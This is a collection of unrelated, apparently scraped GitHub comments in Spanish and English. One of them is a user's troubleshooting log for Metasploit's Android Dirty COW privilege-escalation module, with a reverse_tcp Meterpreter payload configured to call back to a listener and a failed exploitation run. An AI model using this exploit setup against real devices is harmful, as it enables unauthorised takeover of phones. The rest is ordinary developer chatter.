Yo estoy empezando a documentar lo que falta

2016-11-21 13:01 GMT-03:00 keze87 <notifications@github.com>:

> Pd: alguien esta haciendo algo? Digo, para no hacer lo mismo.
>
> —
> You are receiving this because you commented.
> Reply to this email directly, view it on GitHub
> <https://github.com/keze87/TP2/commit/169d887942ac6f166ce61c239421b4d6f5237bfe#commitcomment-19905695>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/ASdG45uOjohQz8ou-rLszavaKsx4RsJ1ks5rAcBDgaJpZM4K4UR9>
> .
>


Oh nevermind, it appeared upon refreshing.


That makes sense.  Thanks for highlighting the usage issue.


Arregla esto por favor


@timwr Every time I run this the session I set in options dies and no new session is created.  Any tips?  Initial session was created using an APK with reverse_tcp.

```
Module options (exploit/android/local/dirtycow):

   Name             Current Setting      Required  Description
   ----             ---------------      --------  -----------
   Function         capget               yes       The library function to overwrite
   Library          /system/lib/libc.so  yes       The library file to overwrite
   ListenerTimeout  300                  yes       The maximum number of seconds to wait for a session
   SESSION          6                    yes       The session to run this module on.

Payload options (linux/armle/mettle/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.11     yes       The listen address
   LPORT  4445             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(dirtycow) > set SESSION 7
SESSION => 7
msf exploit(dirtycow) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > cd /sdcard/Download
meterpreter > pwd
/storage/emulated/legacy/Download
meterpreter > background
[*] Backgrounding session 7...
msf exploit(dirtycow) > run

[*] Started reverse TCP handler on 192.168.2.11:4445
[*] 192.168.2.15 - Meterpreter session 7 closed.  Reason: Died
[-] Exploit failed: Rex::TimeoutError Operation timed out.
[*] Exploit completed, but no session was created.
```


@snicolet You are right, thanks for your feedback


@jgbneatdesign What kind of file input validations are you looking for?


0nope that was just a very quick edit :stuck_out_tongue_winking_eye:


What is cout statement?


for me fable-compiler comes from `-g` installation, unless I call it explicitly with node:
`node ../../node_modules/fable-compiler/fable`.


Error in str.insertSymbol('M', 0);


Its a great feature, but it needs to be toggleable. In some situations its more of a nusence.